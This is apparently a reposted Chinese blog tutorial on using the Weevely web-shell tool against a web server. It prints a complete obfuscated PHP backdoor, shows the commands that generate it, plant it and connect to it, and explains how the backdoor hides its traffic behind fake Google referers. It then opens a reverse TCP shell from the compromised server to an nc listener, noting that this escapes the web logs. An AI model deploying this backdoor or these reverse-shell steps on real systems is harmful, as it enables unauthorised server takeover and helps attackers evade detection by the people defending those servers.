Web-Shell实战 - Weevely

今天我们介绍的是一个轻量级的Web-Shell工具 - Weevely。Github地址https://github.com/epinna/weevely3

 

PHP backdoor agent

我们将使用Weevely来创建一个php代理后门,然后部署在目标服务器上。

运行weevely.py,就将为我们生成一个名为agent.php的代理后门, 设置访问密码确保只有我们可以利用这个后门。

root@secureserver2:~/weevely3-master# ./weevely.py generate abcd123 agent.php

--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332 byte size.

以下就是agent.php内容: 

<?php
$d='@$r["HTTP_A%CCEPT_L%ANGUAG%E"];%if%($rr&&$%ra){$%u=parse_%url($rr);p%arse_s%tr($u';
$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);$l=strlen($t);$o';
$Y='64_de%code%(preg_replac%e(arra%y("/%_/","/-%/"),ar%ray("/%","+%"),$ss($%';
$O='$i],%$f);%%if($e){$k=$kh.$kf;%ob_%start();@%e%val(%@gzunco%mpr%ess(@x(@b%ase';
$b='%%+(?%:;q%=0.([\\d]))?,%?/",$ra,$m);if(%$q&&$m)%{@sess%ion_st%art();$%s=&$_S%ESSI%O';
$j='s[$i%],0,$e%)%)%),$k)));$o=ob_get_c%onten%t%s();ob%_end_clean()%%;$d=bas%e%6';
$f='N;$ss="%substr%"%%%;$sl="strtolower";$%i=$m[1]%[0].$m%[1]%[1];$h=$%sl%($s';
$u='s(%md5($i.$kh%),0,3));$f%=$sl($s%s(md%5($i.$k%f),0,3%));$%p="";f%or%($z=1;$z<';
$c=str_replace('vs','','cvsrevsate_vsvsfuncvsvstion');
$H='%p%=$ss($p,3);%}if(ar%ray_%k%e%y_exists($i,$%s)){$s[$i].%=%$p%;$e=st%rpos($s[';
$U='4_enco%de(x(%gzcomp%ress($o),$%k));pr%int("<$k>$%d<%/$k>");@ses%sion_%d%estroy();}}}}';
$M='=%"%";for($i%=0;$i%<$l;%){for($j%=0;($j%<$c&&$i<$%l%);$j%+%+,$i+%+){$o.=$t{$i%';
$F='co%unt($%m[1]%);$z+%+)$p.%=$q[$m%[2][$z]];%%if(strpos(%%$p,$h)==%=0){$s[$i]="";$';
$q='%%["q%uery"]%,$q);$q=array_%values%($%q);%preg_match_al%l("/(%[\\w%])[\\w-]';
$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%r=@$r[%"HTTP_REFE%RER"];$ra%%=';
$S=str_replace('%','',$k.$M.$X.$d.$q.$b.$f.$u.$F.$H.$O.$Y.$j.$U);
$P=$c('',$S);$P();
?>

现在,我们将agent.php重命名为ma.php,然后上传到目标web服务器(上传方法可查看之前的文章:https://blog.csdn.net/weixin_40270125/article/details/85711584)。上传成功之后,就可以通过Web-Shell访问服务器。

root@secureserver2:~/weevely3-master# ./weevely.py http://192.168.5.25/ma.php abcd123
--> [+] weevely 3.2.0
[+] Target: www-data@secureserver:/var/www/html
[+] Session: /root/.weevely/sessions/192.168.5.25/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>

当看到 “weevely> ”提示符表示我们已经成功通过web-shell连接到目标服务器,并可以在服务器上执行命令。

weevely> uname -a

--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

www-data@secureserver:/var/www/html $

现在我们去查看web服务器的日志,会发现有些奇怪,请求是被编码的,并且显示引用者是谷歌。如果有人要分析恶意活动的日志,这可能会令人困惑,因为谷歌应该是一个合法的引用。

这就是Web-Shell为了避免被检测使用的方法。

192.168.5.26 - - [29/Apr/2016:12:26:25 +0100] "GET /ma.php HTTP/1.1" 200 395 "http://www.google.com.kw/url?sa=t&rct=j&q=168&source=web&cd=841&ved= 7abT6UoqC&url=168.5.25&ei=2rFeZn7kwtSbAWGxjurE6s&usg=r2jjg09LyElMcPniaayqLqluBIVqUGJvYD&sig2=lhXTdE417RZUTOBuIp6DOC" "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic)Firefox/3.6.10"

Reverse TCP shell

Weevely还有一个很有趣的功能,我们可以用它来建立反向TCP shell(Reverse TCP shell)。相当于,被感染的Web服务器向我们自己的电脑建立连接而不是我们去连接Web服务器。

比如,我们在自己的电脑上监听8181端口

root@secureserver2:~/# nc -l -v -p 8181

--> Listening on [0.0.0.0] (family 0, port 8181)

在已经安装Web-Shell的服务器上执行backdoor_reversetcp, 向我们本地的8181端口发起TCP请求

www-data@secureserver:/var/www/html $ :backdoor_reversetcp 192.168.5.26 8181

一个反向连接的shell建立成功(Web服务器192.168.5.25 → 本地电脑192.168.5.26)

Connection from [192.168.5.25] port 8181 [tcp/*] accepted (family 2, sport 55370)
$ whoami

--> www-data

这样我们的操作痕迹就不会被web服务器日志记录,因为通信是通过TCP层(第4层)而不是HTTP层(第7层)进行的。

猜你喜欢

转载自blog.csdn.net/weixin_40270125/article/details/85782150
今日推荐